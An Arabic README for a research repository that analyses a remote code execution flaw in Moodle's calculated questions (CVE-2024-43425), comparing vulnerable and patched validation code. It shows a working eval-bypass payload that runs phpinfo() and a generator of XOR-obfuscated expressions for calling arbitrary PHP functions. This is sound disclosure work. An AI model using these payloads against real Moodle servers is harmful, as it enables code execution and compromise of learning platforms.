
نصوص برمجية لتحليل ثغرة تنفيذ الأكواد عن بُعد (RCE) في الأسئلة المحسوبة في Moodle (CVE-2024-43425)
يحتوي هذا المستودع على النصوص البرمجية المصاحبة لمنشور المدونة العودة إلى المدرسة - استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد في Moodle، الذي يصف ثغرة تنفيذ التعليمات البرمجية عن بُعد في منصة التعلّم Moodle.
يمكن استخدام النصوص البرمجية في دليل validation لاختبار سلاسل الإدخال مباشرةً مقابل منطق التحقق الذي يستخدمه Moodle لمنع إساءة استخدام استدعاء PHP eval().
تم اقتباس جميع مقتطفات التعليمات البرمجية مباشرةً من الكود المصدري لـMoodle، باستخدام إصدار 4.4.1 للإصدار الضعيف و4.4.2 للإصدار المُصحَّح.
تتضمن النصوص البرمجية الأجزاء ذات الصلة من ملف question/type/calculated/questiontype.php.
يستخدم ملف validation.php منطق التحقق الضعيف:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
يتضمن هذا المستودع أيضًا الإصدار المُصحَّح من كود التحقق في validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
يمكن استخدام النص البرمجي xor-generator.py لتوليد تعبيرات تستند إلى الدوال المتغيرة، والتي تسمح باستدعاء دوال PHP عشوائية بمعامل رقمي واحد في الإصدارات الضعيفة من Moodle:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test